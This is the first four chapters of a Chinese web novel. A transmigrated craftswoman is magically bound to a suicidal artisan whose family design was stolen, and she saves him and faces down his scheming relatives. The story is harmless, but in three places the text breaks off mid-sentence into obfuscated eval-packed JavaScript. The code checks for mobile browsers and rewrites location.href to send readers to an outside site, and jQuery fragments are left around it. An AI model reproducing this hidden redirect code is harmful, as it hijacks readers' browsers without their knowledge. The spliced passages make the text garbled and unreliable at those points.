《专利小掌柜》 1. 第 1 章 苏厌是一个非常惜命的人。 她的人生没有什么波澜，只有日复一日的打工。 不过，她从来没有亏待过自己。 工钱虽然发得不多，但吃穿都要好的，连交往的人也要好，从不浪费一点时间在不值得的事情上。 她没想到，自己有一天会穿越到一个弃女身上，反反复复死了好几次，还和一个男人绑定了生死。 现在的苏厌，只是个坊间缝缝补补、敲敲打打的手艺人，但确实祖上富过。 那时，江湖流传“北沈南苏”，说的是当时最显赫的两大工匠世家。 北方沈家，擅大木作与营造术，比如制造宫廷楼宇、飞檐斗拱，讲究大气、宏观、稳固。 而南方苏家，就是苏厌的本家，则以小器作闻名，专精于机械与器物。 苏厌记得，老家的百物舍内，仍摆有不少自家打造的精巧物什。 当然，还有蜀中唐门精于暗器，河东林家代代相传纺织术……各有秘传，百工争流。 随着朝代更迭，朝廷为巩固统治、兴修大工程，将江湖顶尖匠人纳入军器监。 不少技艺、器物与设计图纸成为朝廷资源，一些匠人也成了技官。 这是庙堂之高的部分。 江湖之远，是另一番景象。 一些匠户们的独门技法或原创设计，无律令庇护，因此，图纸被窃、创意被仿，甚至整门手艺被乡绅豪强霸占，都是常事。 苦主往往诉告无门，只得将这些愤怒与痛苦独自吞下肚。 这样的情况，让不少曾显赫一时的匠作家族心灰意冷，渐趋保守，也就此零落，一点点暗淡下去。 辉煌散尽。 如今的江湖上，只剩一些零星后人。 有的早早转了行，有的在街头表演，情况好一点的就开一个小小的作坊，为人缝补修理，打造箱柜。 苏厌也会跟着师父满镇跑，□□。有时人家尊称她一句“苏工”，她倒也满意。 平生接过最大的单，是为当地的王公贵女备嫁，打造凤冠霞帔和全套箱笼家具。 平日里，除了在铺子里帮忙师父干活，她爱吃镇北一家糖水铺的桂花甜酒酿。 一个寻常的傍晚，苏厌下了工，拉上姐姐来到镇北，照旧点了一碗桂花甜酒酿。 一口下去，花香伴随酒香，里头的丸子特别有嚼劲，苏厌幸福得扯着姐姐的衣角晃来晃去。 “姐姐，要是咱们家祖上的铺子还在，我们也做了老板，我就要完成两件事。第一件事，把我们家的技艺保存下来，把手艺传遍京城。” “第二件事，就是在铺子旁边再开一家糖水铺子，每天喝甜酒吃丸子。”苏厌道。 姐姐温柔地笑笑：“你啊，怕是你有了两家铺子，就会有了副业忘了主业，成天都在喝甜酒吃丸子了。” “才不会呢。”苏厌说，“我是想，以前祖宗们把手艺看得比命重，一代代传下来。但是，到了我们这儿却只能给人上门修修补补。我要是能把招牌重新立起来就好了。” “这样的话，每天再吃酒酿丸子，就是加倍的幸福。” 姐姐摸了摸苏厌的头：“是否要重回祖宗时的风光，这我倒不在意。我只是希望你能做自己喜欢的事情。” 苏厌抬起头看姐姐，眼里光亮光亮的：“那就这样说好了，等我的工坊开张，旁边的糖水铺子姐姐来做掌柜！” “好哇，这么早就把我也盘算进去了，苏掌柜！原来你是在这人才招募呐！”姐姐推了苏厌一把。 苏厌笑笑，又灌了一大口，幸福地靠在姐姐的肩头嚼啊嚼啊，幸福得快要晕过去。 等到她再次醒来的时候，还以为自己在雪地里，周身冰凉，但缓缓睁开眼，却见有一丝春意。 这里是……湖边？苏厌挣扎着看清，自己正躺在离湖岸不远的地方。 她挣扎着支起上半身，看见四周杂草丛生，柳絮飘飘，像是在城郊，但自己之前从没来过这里。 再定神，看到面前有一个男人。 他穿着青色细棉长衫，料子虽精致，但此刻已沾满泥泞与草屑，下摆也被湖水浸透了。 外罩的褙子松开，斜斜垮在肩上，露出里面褶皱的单衣。 头发散乱，几缕贴在脸颊边，他却顾不得扒开，手里死死攥着什么东西，望着湖面出神。 苏厌不知道他要干什么，只远远看着他。 没想到下一秒，男人竟毫不犹豫往水中一跃，连带着绳子迅速往水里钻去，紧接着，一块大石头“扑通”一声也落了进去。 “诶公子你干什么！来人啊……唔”呼救声还没冲出喉咙，苏厌先感觉到一阵窒息，仿佛跳进湖中的是自己。 很快，苏厌又失去了知觉。 再一次醒来，依然在湖边，依然的周身冰冷，面前依然是那个男人。 与上一次不同的是，这次苏厌醒来，首先疯狂呼吸空气，顾不得那寒冷。 眼看着那男人又要往里跳，苏厌这次学聪明了，拔腿就跑。 我离开这里，我跑得远远的，这次总不会再死了吧！ 男人似乎听到了身后的声音，他回头看，只见一女子发疯似地往远处狂奔。 他不知道这个女人着了什么魔，也不想深究，他只想跳进去，求一死。 苏厌感到高兴，这次活得比刚刚要久，我还活着，我还活着！ 然而，她看不到的是，身后的男人再一次跳了进去，她痛苦挣扎，又失去意识。 再睁眼的时候，苏厌已经有点绝望了。 她根本站不起来，只能躺在地上，痛苦地扶住额头，小声喊道：“公子，公子，求求你，你先听我说……” 男人听到了她的声音，却没有回头，只是淡淡开口：“姑娘，我帮不了你。” “我不用你帮，你听我说，公子，你不能死，你千万别死……”苏厌吃力道。 男人摇摇头，不理会苏厌的话，径直跳入湖中。 第四次醒来。 苏厌真是感到有点烦了。 这次，她拼尽全力站起身，往前一奔，刚好跌倒在那男人脚下。 她双臂紧紧抱着男人的两条腿，说什么也不撒开。 “公子，你听我说，我说完，你再跳，可以吗！你总归是要跳的，不急着这一会儿吧！”苏厌趴在地上大声喊。 男人停下动作，死气沉沉，不发一言。他也不看苏厌，只是淡淡望着前方。 “珍惜生命，远离湖边，人生有什么事情是过不去的呢？有不开心的事情，你同我说，我听！” 苏厌全然不知这个男人身上发生了什么事，支撑她说出这番话的完全是求生欲。 男人依旧沉默，似乎并不想和苏厌讲话。 “我看您穿得这么好，肯定是富贵人家出来的吧？命不要了，钱也不要了？好好的荣华富贵，你都不在乎了吗？” 这番话显然并没能劝下这个男人，他轻轻叹了一口气，双腿挣扎，打算踢开苏厌，往那湖里去。 “图纸！”苏厌大喝一声，“你手里是不是攥着一份图纸？” 男人没理他，又要往里跳，她也顾不上了，奋力爬起来，狠狠扯住他绑石块的那绳子。 男人往湖里跳的动作突然收紧，腾空又落下，一个趔趄滑了一跤，看起来十分好笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319166|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 跳湖被打断，他转头，没好气地看着苏厌。 “你到底要干什么？” “公子，我不是要救你，我是想救我自己。能不能给我看看你手上那份图纸。” 男人终于停下了动作，但却把图纸往自己的方向收了收，不想让苏厌看到。 苏厌看他没了跳河的动作，松了一口气，拍了拍身上的泥，又整理了下方才大动作扯歪的衣服。 “说出来你可能不信，其实我已经看着你带着它跳了四次了。”她声音响亮，“更烦人的是，每次你死了，我也会跟着死。” 男人一脸茫然，仿佛在听什么灵异故事。 “前几次我光顾着喊你，结果跟着你一起淹死。这次我终于看清了，你手上的是连机枢的图纸吧？” 连机枢的漕运闸口改良图样。 这是一套只用一个人就能同时操控三到五个水闸的机关系统，和传统水闸比效率大大提升，让朝廷在水运上省钱、省时、更安全。 苏厌心想，幸好我曾在书中见过这个图纸。 这样说来，这男人可能还是同行，从这个角度说不定能劝下他。 男人此时却突然从腰间拔出一把短刀，刀尖抬起，指向苏厌，微微颤抖：“为什么你会知道？” 苏厌一下没听明白。 连机枢结构早就普及使用了，这东西很难有人不知道吧？ 她下意识答道：“公子你没常识吗？看你拿着这个，我还以为你是同行。《工部营造录》里写得明明白白啊！宝和十二年，工部郎中李大人所创，施行天下，惠泽漕运。” 听说这位李大人宅心仁厚，苦思多年，钻研出此物，功德无量。这都是话本戏文里一直传唱的。 男人的眼里掀起波澜：“伪君子！老贼！” 苏厌看出，这个男人显然并不赞同话本里流传的说法，他和这个李大人之间有些故事。 男人开口：“我不知道你如何知晓《工部营造录》的内容，这本书目前还在编撰，并未发行。” “但，庄家祖上三代就开始研究连机枢，那图纸是庄家三代人熬了多少夜画出来的。姓李的仗着官大把东西抢了去，转头就成了他的功劳！” 庄家。苏厌有印象，但是印象不多。 记得《工部营造录》里，“庄氏匠户”几个字在某页角落被淡淡地提过一句。 她越听越觉得奇怪，忍不住问：“请问公子，现在是哪一年？你是谁？” 男人答：“宝和十二年。至于我，庄鹤止，一个连自家图纸都守不住的废物，今日就要死在这里。” 苏厌脑子瞬间一片空白。 自己明明还和姐姐一起吃着糖水，一眨眼，自己竟然来到了前朝？ 她脑海里第一个念头是：姐姐怎么办？第二个念头是：我怎么回去？ 再仔细回想庄鹤止这个名字，她确实有点印象，在野史的边角。 听说，庄家三代都是顶尖匠人，但一代比一代惨。 他奶奶手艺太好，但不肯把秘方交上去，被贬成了平民。 他爹给当地恶霸修宅子，完工后人家不给钱还反告他爹偷工减料，他爹就这样入了狱。 他爹死前给他的忠告是：“儿啊，你定要学会彻底低头。” 显然，他根本没有听进去。 二十岁，他好不容易考入军器监干活，眼里却容不得沙子。 看到谁的设计不合规矩、浪费材料、思路不对，当场就怼。 而因为他确实有点东西，上头一直忍着没动他。 后来，他因偷盗工部图纸、私造禁器、与地方商贾私搭牟利，数罪并罚而下狱。 2. 第 2 章 关于他的下场，江湖上众说纷纭。 有人说他在狱中被上刑，手骨全部被敲碎，生生痛死了；有人说他性子太烈，越狱时被乱箭射杀的；也有人说，他最后逃了出去，一不小心跌了湖，也就没人再去追究。 总之，都没落得一个好结局。 而现在，这个背着三代冤屈、一身本事却被逼到绝路的男人，正站在她面前求死。 这个时候，自己应该叫他什么？庄前辈？庄爷爷？总不能是……庄太爷吧！ 没等她想明白，眼前猛地闪过一行诡异的字：此前循环为测试阶段，现已结束。绑定生效，同生共死，再无重置机会。 信息量太大，苏厌感觉有点眩晕。 她还没有完全搞清楚状况，也没明白为什么会有这行诡异的字。 不过，她从刚刚的经历和这些信息里推断出，她现在和这个庄鹤止已经是一条命了。 什么历史真相，什么三代含冤，什么设计图纸，统统都不重要。 现在的情况是，他们已经没有办法像刚刚那样一次次活过来。 他死，她就得死。所以，他绝对不能死！ “不可以，绝对不可以！”苏厌连连摆手：“庄……公子，你今天不可以死在这里。” 庄鹤止冷笑：“这位姑娘，你可是还没睡醒？我死与不死与你何干？你走吧，不要在这说胡话了。” “不是胡话。”苏厌上前一步：“我有办法解决你的问题。” 苏厌自己都不相信这句话。 但她的宗旨是，先稳住庄鹤止再说。 “……你究竟是谁？”庄鹤止问。 苏厌这才有空开始看自己，思考怎么回答这个问题。 因为现在的她确实和先前的她不太一样了。 她意识到，现在自己可能在别人的身体里面。 第二次濒死的时候，她在极冷情况下，脑海里曾经闪烁过一些画面。 是这具身体原主的记忆。 这姑娘本是江南一大织户的小女儿，自小体弱，得了种畏寒怪病，从小到大请了无数名大夫，汤药不知灌下去多少，银子流水般花出去，人却不见好。 家里也从最初的疼惜，渐渐变成不耐烦。兄长姊妹嫌她拖累家业，带来晦气，连下人经过她房间时也要埋怨几句。 大夫私下断言，她活不过二十五岁。 某年开春，母亲以去庙里求个安康为由，亲自将她带到城外山寺。 拜完佛，母亲说去后院给她讨碗热汤，让她在树下等着。 她等了又等，等到寺钟歇了，山雾笼罩下来，太阳落下山去。 那晚，她冷得浑身骨头都发僵，而母亲再也没有回来。 她被遗弃在山野里，寒风刺骨，而对她这极寒之躯来说，这种死法无异于凌迟，一寸寸冷，生生钉入骨髓，一段时间后，她竟然感到全身滚烫。 最后，她望着那轮月亮，慢慢咽气。 苏厌从回忆里抽离，心底只剩一片冰凉的唏嘘。 她重新理了理思绪。 如果庄鹤止死，她也会死，那么这段时间，苏厌得一直盯着他了。 这样也好，如果庄鹤止再做出什么不要命的事情，苏厌就可以立刻阻止。 毕竟，苏厌并不关心庄鹤止身上到底发生了什么，她唯一的念头就是自己不能死，她还要活很久很久，享尽清福，她还要回去找姐姐。 苏厌说：“我不是没睡醒，我也没有在说胡话。”她低头看了看这双陌生的手，强迫自己平静下来，“我叫苏厌，我是江南刘织户家不要了的病弱女儿。我母亲把我扔在山里活活冻死，但我命硬，没死成。” “我不想死，我想活。”苏厌认真道。 她说得斩钉截铁，纵使庄鹤止不相信，也并未打断。 “真也好假也罢。”等她说完，庄鹤止叹了一口气，“多亏你，今天我没心情死了。谢谢你，我们就此别过。” 说完，庄鹤止认认真真把绳索收起来扔进湖中，再把那大石头移开，没看苏厌，头也不回地往前走。 他走，苏厌立刻跟上。 他停，苏厌也停。 他回头，苏厌立刻摆出一副友善的样子，看着他。 “你到底要干嘛，我不是说了就此别过吗？”庄鹤止干脆转过身来，双手抱在胸前，不耐烦地看着苏厌。 “不是我想干嘛，是这身体不让我们别过。”苏厌指了指自己。 看庄鹤止欲言又止，她把握时机又往前凑了半步。 “其实我太不明白，哪怕是一时失势，又何必走到寻死那一步呢？庄公子，你们三代人琢磨这个东西，你就真的甘心让你们那些辛辛苦苦的日夜被全部抹去吗？” “如果，如果你什么也不做，任由世人捏造，那么很久之后，也许在茶馆里的说书先生嘴里，庄家在这个世界上真的就只是一粒灰尘，听客也就当真了。” “可如果偏要在乎呢，哪怕只添一句真话。或许，后世的人再看你们时，就能少一分误解。” 庄鹤止有些懊恼。她是什么身份，凭什么轮到她来教训我？ 但她说得实在真诚，实在有道理。 庄鹤止听完，垂下眼帘，片刻后，继续向前走，步伐却比先前轻。 苏厌见他松口了，便又油滑起来：“庄公子，您也觉得我说得没错吧？”她眨眨眼，“您如此气质非凡，一看就是个官老爷，就发发善心，收留一个远房落难亲戚嘛。” 庄鹤止不为所动：“我爹入狱枉死，我娘病重，这位姑娘，你看清楚了，你要跟的不是什么官老爷，只是个自身难保、随时可能暴尸街头的废人。” 他见苏厌不吱声，以为她被唬住了：“如何，现在，你还想跟吗？” 苏厌根本不以为意：“想跟。” 庄鹤止愣住了。 想跟？ 他料想过她震惊、退缩、或者继续讨价还价，但是没料到这样轻飘飘两个字。 他心头好像被扔进一根鞭炮，“啪”地炸了一声，但又迅速被自嘲掩盖。 她到底知不知道自己在说什么？图什么？就凭那几句似是而非的预测？还是那荒唐的同生共死？ “您就当多雇了个监理。我是真心想要帮您。”苏厌说完，笑眯眯地看着他。 庄鹤止看了苏厌一眼。 她眼里没有开玩笑，只有一种执拗，不达目的不罢休。 他准备了一肚子冷言冷语，但最后都堵在喉咙里，只化作一声轻轻的哼。 “不过，庄公子。”苏厌道，“我有个小小的请求。” 庄鹤止脚步没停。 苏厌放肆地往下说：“给我点事干，给我工钱，给个遮风挡雨的地方，最好附近能有很多好吃的……” 总之就是吃不了一点苦。 庄鹤止瞥了她一眼，眼神里就一个词：得寸进尺。 苏厌立刻噤声，话头一转：“其实也不用那么全，能吃就行。” 庄鹤止扔过来一句：“你真有用再说。” 话虽这么说，他却下意识放慢步伐，默许了那个麻烦的人跟在身后。 傍晚，西廓舍。 苏厌和庄鹤止回到时，正门虚掩。 这是朝廷分配给庄鹤止的官舍，庄家有居住权，但是没有产权。 临街的是门楼，走进去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319167|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后是一个较为宽大的院子，但因为堆着庄鹤止的一些废弃模型和材料，略显拥挤。 正对着门楼的是一间堂屋，东西各一间卧房，角落还有个小小的厨房。 其中一间卧房有昏暗灯光，吵吵嚷嚷的，好几个人进进出出、忙前忙后，也不知道是干什么。 苏厌刚进门就听到亮着灯光的那件卧房传来呻吟声和咳嗽声。 等庄鹤止走近，尖锐的人声便刺了过来。 “哎呀鹤止，你终于舍得回来了？”是个音调较高、年龄较长的女声。先闻其声，再见其人，一个穿着暗红色褙子、头戴花簪的妇人掀帘走了出来。 她大约四十出头，皮肤白皙，左脸颊有颗痣，眉眼生得精明。 “你们又来干嘛？”庄鹤止没好气。 那女人这才看清庄鹤止身边还有一个年轻女孩，她表情一下变了，没有任何长辈的慈祥，只有打量。 她从头到脚扫了苏厌几次，挤出假笑：“这位姑娘是你请来照顾大嫂的？哎哟，你花那冤枉钱干啥，这家里还有你叔叔婶婶呢，堂弟又不用上工，也能来帮忙啊，干嘛找这些外人来呢？” 苏厌翻了个白眼。 庄鹤止往前站了半步，将苏厌挡在身后冷冷道：“婶婶有空在这儿说闲话，不如去帮点忙，我娘咳了半天，也没见您进去递口水。” 婶婶一下火冒三丈：“你和婶婶说话就是这个态度？” “别在这里装模作样了，我知道您图什么。”庄鹤止一点不留情面。 庄鹤止是庄家目前唯一一个在朝廷当差的人，虽说才正八品，但瘦死的骆驼比马大。 叔婶一家及其精明，平日里假模假样过来帮帮忙，实际啥也不干，只是在庄鹤止面前演戏，但要的回报不少，逢年过节、隔三差五就来要钱。 “鹤止啊，你堂弟马上要议亲了，这聘礼还差些，你做哥哥的，可不能让弟弟丢脸不是？” “鹤止啊，你叔叔最近要做生意，急需银子打点，这关乎咱们家族，你可不能不管啊！” “鹤止啊，我们找了个很厉害的郎中，他有独门秘药，就是价钱比外面的贵点，你也想你娘早点好吧？” “鹤止啊……” 最难受的就是他娘也默许这件事。 多帮衬，别计较，都是一家人，这三句话是他娘说得最多的。 在庄鹤止的爹娘看来，亲戚之间没有大事，没有什么过不去的事情，凡事都是能帮就帮一把。 庄鹤止不肯，娘会开口教训：“那是你亲人，又不是仇人，何必这不要那不给的？他们这一生没什么出息，但也没干过什么错事缺德事，只是贪财爱财，找你要钱罢了，由他们去吧！” 庄鹤止不认可，但是太有孝心，不想和娘吵架。 听到外面的动静，房间里的另一个人也起身了。 帘子一掀，他叔叔背着手慢慢踱了出来。 他是个干瘦阴沉的男人，满脸的斑，眼皮耷拉着，开口就带着一股破门声：“鹤止，你一大早就不知道跑哪里去了，是我们一家子在这跑前跑后，你倒好，这么跟你婶婶说话，知道你婶婶有多寒心吗？” “其实你要是真忙，说一声就好了，照顾大嫂我们还不是随叫随到的？”婶婶立刻接话，“也不知道为什么，你老把我们当仇人似的，好好地一家人过成这样！” 一字一句，好像是说给庄鹤止听，实际是说给他娘听的。 庄鹤止气得肩背紧绷：“跑前跑后？屋里那油灯一看就是刚点不久，怕是你们前脚进我们后脚就来了，这就是您说的跑前跑后？” “鹤止！”房里传出严厉的呵斥，接着是一阵急促的咳嗽声。 3. 第 3 章 那是庄鹤止他娘的声音。 屋内又传出一个少年的声音：“哥哥，你欺负我们不要紧，但别惹大伯母生气呀，她又开始咳嗽了！” 苏厌心想，这一家子人简直把庄鹤止他娘狠狠拿捏了，说的话全是他娘爱听的，横竖都是他庄鹤止最不懂事、最不体贴家人。 正想着，苏厌突然感受到一股熟悉的寒意从骨髓深处钻出来。 这感觉……该是这副身体原主所患的寒症。 苏厌看了一眼庄鹤止，只见他被气到双肩发抖，紧紧攥着双拳，欲爆发却又疯狂压制。 她明白了，庄鹤止的情绪波动正通过绑定反馈在她身上。 这可不行。 她冲进厨房，端起灶台上那罐药闻了闻，又出来举到叔婶面前：“婶婶辛苦了，我有个问题想请问婶婶，这药壶里煮的是什么？” 婶婶没正眼看她：“你谁啊？” 苏厌咳了咳：“我是庄大人新请的账房，专管收支。既然婶婶说这些事是您一手操持的，那正好。”她眼神诚恳，“您得告诉我这里头用了哪些药材，各几钱几分，我得好好记下，回头按市价给您报拨款子啊！庄公子向来清廉，为人正直，但该给的家用一分不会少的！” 叔婶一听，来了兴致：“那可是自然！这里面用的都是上好的参须、陈年川贝，还有御医流传出来的润肺密方。每日光是这一罐没有五两银子都下不来！” 苏厌点点头，突然手腕一转，将整壶药汤当众泼在泥地上。 “我怎么觉得您在骗我呢。”苏厌蹲下来，拿了根树枝把倒在地上的药渣拨弄开，“你看，参须一股萝卜味，川贝一捏就化了，是些面粉团子。” 说完，苏厌站起身，拍拍手上的灰：“这御医水平不太行啊，虚假宣传，本来是个温补平喘的方子，硬是被他改成了寒凉生痰的毒汤。啊我明白了，老夫人刚才咳成那样，原来不是被庄公子气的，是因为喝了您这药。” “原来你们每天忙来忙去，是忙着老夫人往阎王殿里推？”苏厌狡黠笑笑。 叔叔气急败坏：“你血口喷人！我们那是照着方子抓的！” 苏厌倒也不反驳，点点头：“没关系，既然这是你们照着抓的，那我们把账算清。萝卜三文一斤，您用了约二两，折零点六文。面粉团子算您五文一两，这里约三钱，折一点五文。” “给您多算点，之后您再来，每次可以拨给您二点五文钱，多一文没有。”她抬头看着面前两人，笑得天真。 堂弟到底年轻气盛，听到这忍不住了从房里冲出来：“乱掺和什么！轮得到你说？” 庄鹤止往前一步，挡住了苏厌半个身子，狠狠瞪了堂弟一眼。 他到底是害怕大哥的，气势瞬间弱了下去，悻悻往后退了一步。 婶婶见被揭穿，索性不装了，一屁股坐在地上拍大腿：“没天理啊！累死累活伺候病人，还要被个外来野丫头污蔑！这房子要不是我们时常来看顾，早被狐媚子搬空了！” “狐媚子说谁呢？”苏厌眨眨眼。 “狐媚子说你！”婶婶脱口而出。 苏厌笑开了：“哎，承认了就好。” 叔叔愣了，恼羞成怒，抄起手边一根杆子就挥过来：“小贱人，我撕了你的嘴！” 苏厌却比他快，举起那药罐去挡。 哐啷！药罐子碎了一地。 婶婶见势不妙，撸起袖子奔了过来：“反了你了！敢对长辈动手！” 庄鹤止眼疾手快，把苏厌往身旁一拉，还使了点小心眼，故意引得婶婶直直走过来，根本没有注意脚下的药渣，一滑，顺理成章摔了一个狗啃泥。 堂弟见爹妈受制，想偷袭苏厌，却被庄鹤止一脚绊倒。飞快地，庄鹤止拎起他，从大门扔了出去，动作一气呵成。 叔婶见自己的儿子被扔到门外，连滚带爬出去扶，还不忘骂几句：“看你们能横到几时！” 庄鹤止顺手就把大门关了。 院里重归寂静，只剩一地狼藉。 庄鹤止终于平复下来，整个人像张拉满的弓卸了力。 这时，他注意到身旁的苏厌不太对劲。 她抱着胳膊蹲下，身体不受控制地颤抖。 “你……”庄鹤止察觉不对，“你怎么了？” “你、你生气……我就冷。”苏厌冻得不行，从牙缝里挤出几个字，“你别……气了，或者你给我……拿件衣服。” 庄鹤止怔住。 同生共死？ 是她所说的那件事吗？ 庄鹤止觉得这种话十分荒唐，直到看到苏厌这副样子，才终于后知后觉。 但他仍带着疑惑，沉默转身，从卧房里翻出一件厚袄子，有些粗糙地披在她肩上。 又去灶下生火，动作麻利，把苏厌扶了进去。 安顿好苏厌，他先进了老夫人房间。苏厌听到有些责备声，又偶有压抑的咳嗽声。 几番进进出出，添炭、洗痰盂、换厚被子、更换帕子……一套事情，他做得沉稳而熟练。 直到老妇人呼吸渐渐平稳，他才又来到苏厌身边，搬了个矮凳坐下。 沉默良久。 “苏姑娘，今晚谢谢你。”庄鹤止生疏地道出一句感谢，“不过，我希望你别把今晚的事情说出去。” 看惯了他方才暴躁的样子，如此认真，苏厌还有点不习惯。 苏厌人生地不熟的，断然不可能出去皆他家的短：“你放心吧，我嘴巴可严了。你也别谢我了，要不是我实在冷得不行，本来不打算管的。” “所以……”庄鹤止十分好奇，“我若死了，你真会死？” “不然我做这些是为何？”苏厌把手伸向火苗，又收回来搓了搓，“你娘若真有事，你再气一回，我怕是要直接冻死。” 庄鹤止没说话，把一根柴轻轻推进火里。 火堆噼啪作响。 屋内一瞬间有些安静。 庄鹤止试探道：“你今日所说的有办法，是真是假？” 苏厌心想，就算不是真，也得说是真。 眼下这个情况，只有帮忙庄鹤止把图纸堂堂正正拿回来才是正事。 这事情一日不解决，庄鹤止就可能要寻死，到时候她也小命不保。 她斩钉截铁：“你放心，一定有办法！” 入夜，庄鹤止收拾了一件卧房给苏厌，自己和老夫人睡了同一间。 不知是不是因为白天消耗太多精力，苏厌挨床就着，只不过脑子里很混乱，一直在做梦。 梦到爹娘，又梦到姐姐，心里有股说不出的滋味。 不知过去了多久，苏厌的身体还没醒，但是脑子已经提前醒过来了。 她脑子里有个清晰可见的念头：庄鹤止……你可别又自己憋着，出去寻死啊！ 就这样想着，身体却一动不能动。 多亏你，今天我没心情死了。苏厌记得，从湖边离开的时候，他说了“今天”。他可没说，以后都不会去死。 苏厌反反复复，睡去又清醒过来，睡去又清醒过来，无比挣扎。 终于，不知哪里来的一束温暖的光，让苏厌脸庞有些发热。 她微微睁开眼睛，被阳光晃了一下。 接着，她猛然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319168|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊醒，坐起身子来，满屋找人：“庄鹤止！” 无人回应。 她火速穿好衣服，推开门。看见庄鹤止安然无恙坐在院子里，阳光落在他的侧脸上，她松了一口气。 庄鹤止听到响声，转过头来。 苏厌衣衫胡乱地披在身上，还顾不得穿整齐，就冲到他面前。左看看右看看，确认他身边并没有绳子、刀、锤子、石头等东西。 “你干嘛？”庄鹤止问。 “没藏什么吧！”苏厌问，伸手去拨他的衣服：“该不会里面藏了毒吧？” 庄鹤止吃了一惊，拦住她的手又把衣衫拉得更紧：“你别动手动脚的！” “嘿嘿，没事。”苏厌笑笑。“我怕你又钻牛角尖，庄公子，请你以后心里别总想着去死，你就算不珍惜自己的命，也请你珍惜珍惜我的小命啊！还有你娘，她可不能没有你。” 她找了个离他不远的位置坐下，看着他陷入了沉思。 原本以为昨天发生的一切都是梦，现在醒过来，自己还在这小舍里，那就说明短时间内，自己确实是回不去了。 对苏厌来说，现在最需要解决的有两个问题，第一，到底有什么办法可以回到自己的身体里面。 天天和庄鹤止这么绑着，半点自由都没有，同处一舍本就不安全，自己这般貌美聪慧，简直太便宜他了。 第二，就是这寒症，除了被他情绪影响，有没有别的解法？ 比如……如果自己足够开心的话，能不能抵消掉那种冷？ 苏厌看向庄鹤止。 “庄公子。”她响亮地叫了一声。 庄鹤止没抬头，淡淡嗯了一声。 “有个很重要的事情，我们得试试。”苏厌走到庄鹤止面前。 “试什么？”庄鹤止问。 “试试我如果特别开心，能不能扛住寒症。”苏厌说，“我想过了，不能一直这么被动。万一哪天你又被什么事气得够呛，我不知道自己能不能撑住，冻死过去怎么办？” 要是没见过她那个样子，庄鹤止始终是半信半疑的。但，回想昨晚她冻得受不了的样子，庄鹤止默许了。 “好麻烦。”庄鹤止道。 “不麻烦。”苏厌立刻开始行动，“你站在这儿，就保持你现在这个状态，别动，听我安排。” 庄鹤止站起身：“随你。” 两人一前一后，走到院子中央。 苏厌指着院子中间的空地：“你站这儿，保持。”她推了推庄鹤止。 庄鹤止被她推得往前挪了半步，眉头微皱，但还是站定了。 苏厌自己则转身，背对着他，深吸一口气，像要奔赴什么重要的考场。 她脚步迈得很谨慎。庄鹤止站在原地，看着她的背影。 她还披着那件厚厚的袄子，看起来十分诙谐。头发随意挽到脑后，午后阳光把她的影子拉得细细长长。 地面上，她的影子正慢慢地、慢慢地远离他的影子。 走到巷子口，苏厌停下来，感受了一下。 她回头冲他喊：“你现在保持得不错啊！继续！” 不一会儿，她已经走出了他的视线。 院子里，庄鹤止独自站着。 风穿过院子里槐树的叶子，吹得他听不见苏厌那边的声响了。 他计算着时间，眉头越蹙越紧。 迟迟没有听到她折返的声音，甚至连一点动静都没有。 “苏厌？”他提高声音喊了一句。 没有回应。 “苏厌！”他的声音逐渐急促了。 但，依旧只有风声。 4. 第 4 章 昨晚的情景浮现了出来。苏厌……该不会是又冻倒在哪儿了吧？ 但自己现在明明没有情绪波动啊。 他立刻往门口方向走去。距离苏厌最后出现的位置越近，他越紧张。 然而，在他即将走到门口时，一股奇怪的暖流，毫无征兆地在他身体里游走、漫开。 并非那种身体接触带来的暖意，也不是体温的急促上升，那是一种由内而外的缓和，很松软、很平静。 是庄鹤止许久未有过的感觉。 他的胸腔长久以来都是空置的、冷的。 此时的温热，像是寒冷的冬天突然有人点着了他面前的暖炉。 他有一瞬间的恍惚。 但他又猛地停住脚步，按住心口，把自己从那种温暖中抽出身来。 是苏厌。 是那个莫名其妙的绑定。 但怎么会是这样的感觉？ 庄鹤止循着暖意往前一探，看到此时的苏厌，正坐在巷口对面的糖水摊上，捧着一个粗瓷碗，吃得津津有味，周身散发着一种懒洋洋的、纯粹的为了食物而激动的快乐。 庄鹤止站在几步开外，一时无语。 恰好，苏厌又舀起一勺桂花酒酿，抬眼就忘见了庄鹤止。 他站在人流中，一言不发，身姿挺拔，与这嘈杂的市井格格不入。 只是那张脸上，带了一点儿僵硬、恼怒。 她差点呛到，手忙脚乱地放下碗，心虚感后知后觉地涌上来。 她立刻走过去堆笑：“庄公子！你怎么出来了？我正想回去呢！” 看庄鹤止盯着那桂花酒酿，她又解释：“其实这是有原因的……我是想试一下，人在特别满足、特别开心的时候，是不是对寒冷的抵抗力会增强！” 